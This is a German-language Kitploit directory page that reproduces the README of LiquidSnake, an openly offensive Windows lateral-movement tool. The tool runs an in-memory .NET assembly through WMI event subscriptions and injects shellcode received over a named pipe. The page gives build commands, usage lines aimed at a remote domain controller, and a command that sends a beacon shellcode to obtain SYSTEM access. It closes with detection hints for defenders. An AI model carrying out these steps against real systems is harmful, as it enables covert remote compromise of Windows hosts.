Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
LiquidSnake — Dateiloses laterales Bewegungswerkzeug unter Verwendung von WMI-Ereignisabonnements zum Ausführen von .NET-Assemblies im Arbeitsspeicher, mit Shellcode-Injektion über Named Pipes für die Fernkompromittierung von Windows-Systemen. | Kitploit
Tools/GitHubGitHub/riccardoancarani/liquidsnake
Payload-GenerierungLaterale BewegungShellcodeRed Teaming
GitHubriccardoancarani/liquidsnake

LiquidSnake

Dateiloses laterales Bewegungswerkzeug unter Verwendung von WMI-Ereignisabonnements zum Ausführen von .NET-Assemblies im Arbeitsspeicher, mit Shellcode-Injektion über Named Pipes für die Fernkompromittierung von Windows-Systemen.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
34749vor 4 JahrenVon Kitploit geprüft

Liquid Snake

Liquid Snake ist ein Programm, das laterale Bewegungen gegen Windows-Systeme durchführt, ohne die Festplatte zu berühren. Das Tool nutzt WMI Event Subscription, um eine .NET-Assembly im Speicher auszuführen. Die .NET-Assembly horcht auf einen Shellcode auf einer Named Pipe und führt ihn dann mithilfe einer Variante der Thread-Hijacking-Shellcode-Injektion aus.

Das folgende Diagramm hoffentlich verdeutlicht den Datenfluss:

Danksagungen

  • MDSec - WMI Event Subscription - dieses Tool ist lediglich eine Implementierung des in diesem Blogbeitrag beschriebenen Konzepts; der Code basiert auch auf Dominics WMI-Persistenz-C#-PoC
  • pwndizzle - thread-hijack.cs - zur Inspiration für die Thread-Hijacking-Implementierung in C#
  • med0x2e - GadgetToJscript - für die monströse Arbeit der Erstellung von GadgetToJScript

Einleitung

Das Projekt besteht aus zwei separaten Lösungen:

  • CSharpNamedPipeLoader - die Komponente, die über GadgetToJScript in VBS umgewandelt wird
  • LiquidSnake - die Komponente, die für die Erstellung des WMI Event Subscription auf dem entfernten System verantwortlich ist

Erstellen

Öffnen Sie einfach beide Lösungen in Visual Studio und erstellen Sie sie. Stellen Sie sicher, dass Sie für CSharpNamedPipeLoader die x64-Architektur als Ziel auswählen. Wenn alles reibungslos verlief, sollten Sie zwei separate EXE-Dateien haben: CSharpNamedPipeLoader.exe und LiquidSnake.exe

Konvertieren Sie mit GadgetToJscript die CSharpNamedPipeLoader.exe in VBS mit folgendem Befehl:

root@kitploit:~
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs

Testen Sie die .NET-Deserialisierung mit cscript.exe und stellen Sie sicher, dass alles wie erwartet funktioniert:

root@kitploit:~
cscript.exe test.vbs

Kodieren Sie dann die VBS-Datei base64 und fügen Sie sie in die Variable vbscript64 in der Datei Program.cs von LiquidSnake (Zeile 29) ein.

Ich habe dies bereits für Sie erledigt, sodass Sie einfach die LiquidSnake-Lösung kompilieren und sie so wie sie ist verwenden können.

Verwendung

Die Verwendung dieses Projekts ist einfach: Verwenden Sie LiquidSnake.exe gegen einen Host, auf dem Sie Administratorzugriff haben, wie folgt:

root@kitploit:~
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

HINWEIS: Derzeit gibt es einen Fehler, wenn Sie explizit Benutzeranmeldeinformationen angeben; das Tool funktioniert in diesem Fall nicht. Es wird empfohlen, stattdessen make_token oder einen anderen Identitätswechselmechanismus zu verwenden.

Wenn alles reibungslos verlief, sollten Sie eine Ausgabe ähnlich der folgenden erhalten:

root@kitploit:~
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

Das obige Beispiel verwendet CobaltStrikes execute-assembly, um LiquidSnake zu starten:

Währenddessen wird auf dem entfernten Host eine neue Named Pipe mit folgendem Namen erstellt:

root@kitploit:~
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Dann können Sie mit meinem send_shellcode_via_pipe Projekt aus meinen BOFs einen beliebigen Shellcode auf die entfernte Pipe senden, der geladen und ausgeführt wird:

root@kitploit:~
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin 

Wenn alles wie erwartet funktioniert hat, sollten Sie einen SYSTEM-Beacon erhalten:

HINWEIS: Die aktuelle LiquidSnake-Version enthält ein Artefakt, das von GadgetToJScript generiert wurde und auf .NET Version 4.x abzielt. Wenn auf Ihrem Zielhost nur 3.5 installiert ist, wird dies fehlschlagen. Wiederholen Sie einfach denselben Vorgang, verwenden Sie jedoch beim Erstellen von GadgetToJScript die entsprechende .NET-Version.

Erkennung

Es gibt viele Erkennungsmöglichkeiten, um den Missbrauch dieses Tools und allgemein die Verwendung dieser Technik zu identifizieren:

  • Erstellung und Löschung eines WMI Event Filters in kurzer Zeit, siehe Sysmon-Ereignis-IDs 19, 20, 21, 22
  • Modulladeereignisse für clr.dll in Verbindung mit dem Prozess scrcons.exe
  • Erstellung einer Named Pipe in Verbindung mit dem Prozess scrcons.exe

Darüber hinaus ist der größte Nachteil der spezifischen Implementierung, dass der Shellcode im Klartext über SMB gesendet wird. Das bedeutet, dass eine Netzwerküberwachungslösung, die in der Lage ist, diesen Datenverkehr zu inspizieren, ihn wahrscheinlich erkennen wird. Ich habe nicht viel gegen das Zeek/Bro-Regelset getestet, bin mir aber ziemlich sicher, dass es sofort erkannt wird.

Im Ordner detection-artefacts habe ich die PCAP-Datei eines Wireshark-Mitschnitts und die während des Angriffs erzeugten Sysmon-Ereignisse hinterlassen (unter Verwendung der Standardkonfiguration von Swift On Security).

Tool herunterladen